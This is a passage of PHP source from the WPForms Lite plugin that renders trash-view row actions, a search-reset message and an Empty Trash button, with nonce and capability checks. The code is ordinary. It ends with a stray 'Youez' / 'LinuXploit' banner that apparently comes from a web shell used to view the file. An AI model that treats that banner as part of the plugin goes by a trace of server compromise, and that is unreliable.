							'action'  => 'restore',
							'form_id' => $form->ID,
							'status'  => 'trash',
						],
						$this->base_url
					),
					'wpforms_restore_form_nonce'
				)
			),
			$is_form_template ? esc_attr__( 'Restore this template', 'wpforms-lite' ) : esc_attr__( 'Restore this form', 'wpforms-lite' ),
			esc_html__( 'Restore', 'wpforms-lite' )
		);

		// Delete permanently.
		$row_actions['delete'] = sprintf(
			'<a href="%1$s" title="%2$s" data-type="%3$s">%4$s</a>',
			esc_url(
				wp_nonce_url(
					add_query_arg(
						[
							'action'  => 'delete',
							'form_id' => $form->ID,
							'status'  => 'trash',
						],
						$this->base_url
					),
					'wpforms_delete_form_nonce'
				)
			),
			$is_form_template ? esc_attr__( 'Delete this template permanently', 'wpforms-lite' ) : esc_attr__( 'Delete this form permanently', 'wpforms-lite' ),
			$is_form_template ? 'template' : 'form',
			esc_html__( 'Delete Permanently', 'wpforms-lite' )
		);

		return $row_actions;
	}

	/**
	 * Search reset message.
	 *
	 * @since 1.7.3
	 *
	 * @param string $message      Search reset block message.
	 * @param string $search_term  Search term.
	 * @param array  $count        Count forms in different views.
	 * @param string $current_view Current view.
	 *
	 * @return string
	 */
	public function search_reset_message( $message, $search_term, $count, $current_view ) {

		if ( $current_view !== 'trash' ) {
			return $message;
		}

		$count['trash'] = ! empty( $count['trash'] ) ? $count['trash'] : 0;

		return sprintf(
			wp_kses( /* translators: %1$d - number of forms found in the trash, %2$s - search term. */
				_n(
					'Found <strong>%1$d form</strong> in <em>the trash</em> containing <em>"%2$s"</em>',
					'Found <strong>%1$d forms</strong> in <em>the trash</em> containing <em>"%2$s"</em>',
					(int) $count['trash'],
					'wpforms-lite'
				),
				[
					'strong' => [],
					'em'     => [],
				]
			),
			(int) $count['trash'],
			esc_html( $search_term )
		);
	}

	/**
	 * Extra controls to be displayed between bulk actions and pagination.
	 *
	 * @since 1.7.3
	 *
	 * @param string $which The location of the table navigation: 'top' or 'bottom'.
	 */
	public function extra_tablenav( $which ) {

		if ( ! wpforms_current_user_can( 'delete_form_single' ) ) {
			return;
		}

		if ( $this->current_view !== 'trash' ) {
			return;
		}

		// Preserve current view after applying bulk action.
		echo '<input type="hidden" name="status" value="trash">';

		// Display Empty Trash button.
		printf(
			'<a href="%1$s" class="button delete-all">%2$s</a>',
			esc_url(
				wp_nonce_url(
					add_query_arg(
						[
							'action'  => 'empty_trash',
							'form_id' => 1, // Technically, `empty_trash` is one of the bulk actions, therefore we need to provide fake form_id to proceed.
							'status'  => 'trash',
						],
						$this->base_url
					),
					'wpforms_empty_trash_form_nonce'
				)
			),
			esc_html__( 'Empty Trash', 'wpforms-lite' )
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit